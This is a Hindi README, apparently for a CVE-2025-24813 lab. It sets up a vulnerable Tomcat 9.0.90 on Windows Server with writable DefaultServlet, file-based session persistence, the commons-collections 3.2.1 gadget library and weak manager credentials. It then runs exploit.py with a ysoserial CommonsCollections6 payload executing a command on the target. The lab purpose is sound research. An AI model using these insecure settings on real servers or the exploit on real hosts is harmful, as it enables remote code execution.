
आलसी शोधकर्ताओं के लिए Windows Server 2019 Standard पर Java 25.0.1 2025-10-21 LTS के साथ Tomcat v9.0.90 के त्वरित तैनाती के निर्देश
यह रिपॉजिटरी साइबर सुरक्षा खतरे के अनुकरण अभ्यास के लिए Windows Server 2019 Standard पर java 25.0.1 2025-10-21 LTS के साथ Tomcat v9.0.90 को त्वरित तैनाती हेतु स्पष्ट निर्देश प्रदान करने का लक्ष्य रखती है। exploit.py ysoserial-all.jar में CommonsCollections6 मॉड्यूल का उपयोग करके पेलोड बनाने के लिए ysoserial-all.jar का लाभ उठाता है, जिसे बाद में %CATALINA_HOME%\webapps\ROOT\WEB-INF\lib में commons-collections-3.2.1.jar निर्भरता द्वारा डिसीरियलाइज़ किया जाता है।
Tomcat v9.0.90 डाउनलोड करें:Invoke-WebRequest -Uri "https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90-windows-x64.zip" -OutFile "apache-tomcat-9.0.90-windows-x64.zip"
Expand-Archive -Path "apache-tomcat-9.0.90-windows-x64.zip" -DestinationPath "C:\"
java 25.0.1 2025-10-21 LTS (ZIP संस्करण) डाउनलोड करें:Invoke-WebRequest -Uri "https://download.oracle.com/java/25/archive/jdk-25_windows-x64_bin.zip" -OutFile "jdk-25_windows-x64_bin.zip"
Expand-Archive -Path "jdk-25_windows-x64_bin.zip" -DestinationPath "C:\"
mkdir C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
cd C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
Invoke-WebRequest -Uri "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" -OutFile "commons-collections-3.2.1.jar"
1. Start पर क्लिक करें
2. "edit the system environment variables" टाइप करें
3. दो नए सिस्टम वेरिएबल बनाएं जिनके नाम हों
- `%JAVA_HOME%` मान `C:\jdk-25.0.1` के साथ
- `%CATALINA_HOME%` मान `C:\apache-tomcat-9.0.90` के साथ
4. `Path` नामक सिस्टम वेरिएबल को संपादित करें, और निम्नलिखित मान जोड़ें:
- `%JAVA_HOME%\bin`
- `%CATALINA_HOME%\bin`
C:\apache-tomcat-9.0.90\bin\service.bat install Tomcat9Server
Set-Service -Name "Tomcat9Server" -StartupType Automatic
Start-Service -Name "Tomcat9Server"
tomcat-9.0.90\conf फ़ोल्डर में tomcat-users.xml खोलें और </tomcat-users> से पहले निम्नलिखित जोड़ें:<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
tomcat-9.0.90\conf फ़ोल्डर में context.xml खोलें और सभी सामग्री को निम्नलिखित से बदलें:<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>
<Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
tomcat-9.0.90\conf फ़ोल्डर में web.xml खोलें, DefaultServlet खोजें और पूरे <servlet></servlet> को निम्नलिखित से बदलें:<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
shutdown.bat
startup.bat
New-NetFirewallRule -DisplayName "Tomcat9Server" -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
C:\tomcat-9.0.90\webapps\ROOT में कुछ वैध दिखने वाला index.html डालें।<Connector port="443"
protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="150"
SSLEnabled="true"
scheme="https"
secure="true">
<SSLHostConfig>
<Certificate certificateKeystoreFile="C:\tomcat-9.0.90\conf\ssl\cert.pfx"
certificateKeystorePassword=""
certificateKeystoreType="PKCS12" />
</SSLHostConfig>
</Connector>
New-NetFirewallRule -DisplayName "Tomcat9HTTPSServer" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow
exploit.py क्लोन करेंgit clone <this-repo-url>
cd CVE-2025-24813
pip install requests
java --version
curl -L -o ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
python exploit.py -t http://<target IP>:8080/ -c "cmd.exe /c calc.exe"
exploit.py के प्रत्येक निष्पादन पर, C:\tomcat-9.0.90\webapps\ROOT और C:\tomcat-9.0.90\work\Catalina\localhost\ROOT में दो सत्र फ़ाइलें एक यादृच्छिक नाम के साथ बनाई जाएंगी। कार्य फ़ोल्डर के अंदर .session निष्पादन के कुछ सेकंड बाद हटा दिया जाना चाहिए।